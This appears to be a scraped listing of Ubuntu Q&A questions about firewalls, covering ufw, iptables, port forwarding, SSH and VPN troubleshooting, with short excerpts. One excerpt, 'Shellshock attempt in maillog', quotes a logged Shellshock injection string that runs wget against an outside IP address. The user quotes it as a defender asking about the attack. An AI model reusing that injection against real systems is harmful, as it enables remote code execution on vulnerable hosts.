a technological barrier designed to prevent unauthorized or unwanted communications between computer networks or hosts

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2
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36 views

How do I find which OS layer (iptables, rp_filter, etc) is dropping a packet?

Let's say that I'm running a ping towards a machine and I see from tcpdump that the icmp echo reply is being received at the ethernet port but the ping program is not getting it. So I know that ...
2
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0answers
817 views

Refused connection of ssh

I installed openssh on my new Ubuntu14.04 server, turned on ssh, and enjoyed it after I finished installation. Every thing was fine; however, after just one night, I was blocked when using putty as ...
2
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306 views

UFW is DENY/DENY, but PACKETS are still getting out of my ethernet device. Why is this?

Hello, I have a question. I would like to use the UFW Ubuntu Firewall to lock both Input and Output completely from the server to ensure no packets are sent initially as a baseline. I enabled UFW, ...
2
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0answers
133 views

found someone lurking in my LAN, not sure what to do next

I have DD WRT router with internal numbers all falling within 192.168.1.0/24. I was looking on my firewall records this morning and found someone at 10.10.109.100 got blocked from accessing port 5353 ...
2
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0answers
234 views

How do we allow a certain mac address in a FORWARD chain through iptables?

I set the iptables rules in default. # IPTABLES IN DEFAULT iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP How will allow a certain mac address in a forward chain? I ...
2
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921 views

IPTABLES > MAC Filtering

I am newbie. I tried DHCP Mac filtering is not enough to secure our networks and I think iptables will... This is my concept: I set a new laboratory (LAB) network. My other network is connected to a ...
2
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0answers
182 views

How should I configure Ubuntu firewall?

Just discovered Gufw, and I'd like to set it up. But I haven't found any documentation telling me what I should/should not allow. I'd like to be able to use it but the only documentation on the web ...
2
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574 views

How I can connect the syslog-ng with a mysql database?

Hi guys I want to use a syslog-ng server for logging data from the firewall and I get Data from the Firewall in the file /var/firewall.log but now I want that the logs go to a database. For this I ...
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256 views

Why is SSH not accessible after installing KDE on Ubuntu Server?

I installed KDE onto my Ubuntu server, which is operating as a file server. It installed a firewall that wasn't there previously. I can't reach any of the services I had operating on the box now, ...
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12 views

How to config PORT KNOCKING on CSF ubuntu server and access it by linux?

I'm trying to run port knocking work on a CSF on a small VPS, i setup this: 1 - the result of csf first test ok 2 - TCP_IN = "53,80" TCP_OUT = "53,80,113,443" UDP_IN = "53" UDP_OUT = "53,113,123" ...
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74 views

Can't Connect to Apache2 Server From External Device (in LAN) Nor From External IP?

I forwarded ports 80 and 443 for my apache 2 server. However, if I: try connecting to the server via external IP or try connecting to the server from a local device via my local ip, I cannot gain ...
1
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0answers
65 views

how to block all tcp and udp and other protocol and only allow layer 2 communication?

sudo ufw disable sudo ufw default deny sudo ufw allow XXXX sudo ufw enable Does sudo ufw disable block layer 2 by default? How to block all TCP, UDP and other protocols, so only layer 2 ...
1
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0answers
159 views

Why aren't these ufw rules working?

I'm trying to configure ufw to only allow connections to 3 ip addresses on my local network, and deny everything else. Here's the commands I'm using: yes | sudo ufw reset sudo ufw default deny sudo ...
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0answers
54 views

Ubuntu Randomly Rejecting Hosts

currently I am facing a very strange problem: my Ubuntu is randomly resetting connections and I have no clue why. /etc/hosts.deny is empty (resp. just the default file with comments only, that comes ...
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0answers
44 views

Connecting to Ubuntu host not possible

I have an Ubuntu-Host which is connected via wlan (and for testing to wired net) to a local net. This Ubuntu-Host is not reachable via network by any other clients on the same network. But: If I do a ...
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0answers
551 views

Ubuntu UFW init failure

I have some strange UFW behaviour. Whenever I install it cleanly and add some allowed ports to it (without restarting) it works great. But when I restart UFW or the whole server for the first time ...
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0answers
74 views

Dynamically Enable LAN traffic in Firewalld (using profiles in network-manager)

I am trying to use firewalld to allow dynamic profiles for different connections in Network Manager. When I'm at home, however, I would like to allow anything coming in on the LAN (local subnet). I ...
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0answers
72 views

Ubuntu server periodically unreachable

I have an Ubuntu Server 14.04 server running. The server has two NICs and acts as a NAT router, with the help of shorewall. Shorewall also acts as a plain firewall for blocking ports that I don't want ...
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0answers
154 views

Port forwarding out multiple VLAN interfaces that have same IP address

So I have an Ubuntu machine with multiple VLAN on an interface eth1 and each VLAN has the same IP address (172.16.0.2). I need to be able to simultaneously telnet into a rack of devices that are also ...
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0answers
64 views

Firewall rule to drop DOS attacks. What is wrong with my command?

I have a script like that : MAXREQ='cat /var/log/maxreq_tmp' DE=6 iptables -F iptables -I INPUT -p tcp -m state --state NEW -m recent --set iptables -I INPUT -p tcp -m state --state NEW -m recent ...
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0answers
80 views

Can't access Flask from local network

I've already read this thread, but it is not what I'm looking for. I'm running Flask on Ubuntu 13.10 with this configuration, but I can't access it from the local network using the correct ip and port ...
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7k views

ubuntu 14.04 default firewall rules

I would like to know exactly which scripts are responsible for default iptables rules (no ufw, no gufw) in Ubuntu Server 14.04. After fresh installation even with ufw disabled (by default) there are ...
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0answers
57 views

Cannot connect to work VPN

I'm using Ubuntu Studio 13.04 Saucy, and generally new to Ubuntu. I work for a company which provides Windows based pptp VPN access for working remotely. Soon after I installed Ubuntu Studio, I was ...
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0answers
216 views

UFW, IPv6, and HTTPS

I'm running Kubuntu 13.10. I recently enabled IPv6, and setup UFW to support it. Everything seems to be working as expected, except I've noticed certain traffic being blocked with an AUDIT-INVALID ...
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127 views

Configuring ufw and iPredator VPN

I am running a VPN via IPredator on Ubuntu 12.04 Desktop, which works perfectly, when ufw is disabled. When I enable ufw, I logically cannot establish a connection. IPredator states that I have to ...
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86 views

Allow users to access specified IPs only

I have a computer that offers both a VPN and a SSH server running three (separated) VPN networks. All users log into the server via ssh. However, I want that only certain users can communicate to ...
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0answers
369 views

Squid proxy and firewall blocking HTTP requests

I have 3 virtual machines. One functions as a router. A HTTP server is installed on another machine. The third has to connect to the server via the router. I have installed a web proxy(Squid3) on the ...
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0answers
2k views

Ubuntu 12.04 LTS - vsftpd problem. No connection. Connection refused

i have a problem with vsftpd server running on Ubuntu 12.04 LTS. Here is the configuration: ubuntu Server address - 192.168.5.100 router address - 192.168.5.1 roger/# grep -v "#" /etc/vsftpd.conf ...
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160 views

ubuntu server apf-firewall configuration

I have not used the apf-firewall before and I'm having trouble configuring it. I have already try setting the iptables but it fails to start, so what more do I need to do? thank you
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0answers
62 views

Can a weak Ubuntu user password be a risk for ONLINE security?

Can anyone gain an unauthorized remote access to my Ubuntu machine? Does having a strong user password really helps prevent this? Or firewall just doesn't let anyone in by default, regardless of the ...
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0answers
1k views

SSH connections rejected after UFW allow 22

I am trying to setup UFW on a 12.04 server. SSH works great with UFW off. Setting root@ugvps:~# ufw enable Firewall is active and enabled on system startup root@ugvps:~# ufw status Status: active ...
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451 views

UFW Firewall Rules, has a hole in it. Please help

Can someone please look at the below output for me. I have my UFW on deny/deny, and here are the rules. But if I leave my Ubuntu Server on, with a Windows XP VM, and let Instant Messenger run in the ...
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0answers
300 views

New Server - apache will not serve outside LAN

New server, running well 12.04 LTS on HP ML350. Apache = great, inside our LAN. Apache = timeout, from WAN (NAT forwarded from firewall). I have cleared all Iptables, read & checked every ...
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0answers
81 views

Can not permanently clear iptable rules

I use the following commands to flush all iptable rules: sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo ...
1
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0answers
98 views

Is there a firewall that blocks a process and shows a dialog with buttons Allow, Drop, Disable?

Currently I use ufw and Firestarter, and I'm just learning how to use a firewall. When I used windows there were a couple of firewalls that could block a process which tried to establish connection ...
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0answers
738 views

How to change Port 27000 from filtered to open status

In my ubuntu box I am running flexlm licensing software on port 27000 and I am able to pull the license from the this port to run the simulation software locally. I am also trying to run the same ...
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0answers
209 views

ssh client times out to some servers, works on others

I have a strange problem and I'm not sure where to begin. My ssh client works on some servers but times out on others. Obviously, I checked that the servers are accessible via ssh from other ...
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0answers
17 views

Allowing Longview in UFW firewall; how do these iptable rules translate to UFW-commands?

Linode has some documentation on allowing its product "longview" to go through the firewall. It offers two commands for iptables: iptables -I INPUT -s longview.linode.com -j ACCEPT iptables -I OUTPUT ...
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0answers
40 views

How do I configure firewall or proxy setup on Ubuntu 14.04?

I can't access Firefox browser and with Terminal command line problem detected proxy. How I can solve this ? . see screenshot
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0answers
28 views

ufw rules don't block deluge

I'm trying to keep deluged on my headless Ubuntu Server 14.04.1 from functioning when the server isn't connected to a VPN (I know many threads exist discussing the best way to accomplish that; I'm not ...
0
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0answers
15 views

Do I need to create a firewall rule after installing Android Studio?

Since I installed Android Studio, I have a new network device: virbr0. My system log files keep telling me ufw rejected an incomming connection (one time per minute) wich is kind of annoying because ...
0
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0answers
45 views

Deluge download speeds too slow

Total noob to Linux and Ubuntu. Dual Booted Ubuntu 14.04 and Windows 8 in my Dell Studio 1558. Everything was working fine until I noticed that my torrent speeds are very less. I tried it again with ...
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0answers
25 views

Virtualbox server 13.10 port forwarding through router access to static IP/internet

I have an Ubuntu 13.10 server guest setup in Virtualbox (I have a windows8.1 machine). My question is: how to setup port forwarding to access the webpage from the internet. I have disabled the ...
0
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0answers
34 views

Header file for struct proc_dir_entry

I'm writing a firewall for the Linux kernel and I'm using the proc_dir_entry data structure (which I've found in the tutorial I'm currently reading). My firewall is conceived as a kernel module but ...
0
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0answers
31 views

add repository under company firewall

I am trying to add apt repository for evernote on ubuntu 14.04 with company firewall. When I execute sudo add-apt-repository ppa:nvbn-rm/ppa, it stops, no response: rna@rna-P400:~$ sudo ...
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0answers
52 views

Why is ip forwarding not working in xubuntu 14?

I upgraded my gateway computer from xubuntu 12 to 14 and the computers on my home network lost their internet connection. I found that the upgrade had uninstalled my old firewall, Firestarter, and ...
0
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0answers
18 views

Using ufw as a firewall between network segments

I've been using Ubuntu server 12.04 as a router and it worked. Now I'm trying to add some security using ufw. I enabled the ipv4-forwarding feature in the configuration file and added a rule ...
0
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0answers
95 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
0
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0answers
40 views

What is missing in my webserver ufw firewall configuration?

sudo ufw enable sudo ufw logging on sudo ufw allow proto tcp from any to any port 9999 sudo ufw allow proto udp from any to any port 9999 sudo ufw allow 80 sudo ufw app apache sudo ufw app OpenSSH ...
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0answers
34 views

3.13.0-37-generic basic router repeatable issue - packet loss

I have two desktop PCs and I wish to use them as a simple router between two LAN segments. I am not using NAT, SNAT, DNAT, and all my iptables tables/chains policy are ACCEPT. With iptables wide open ...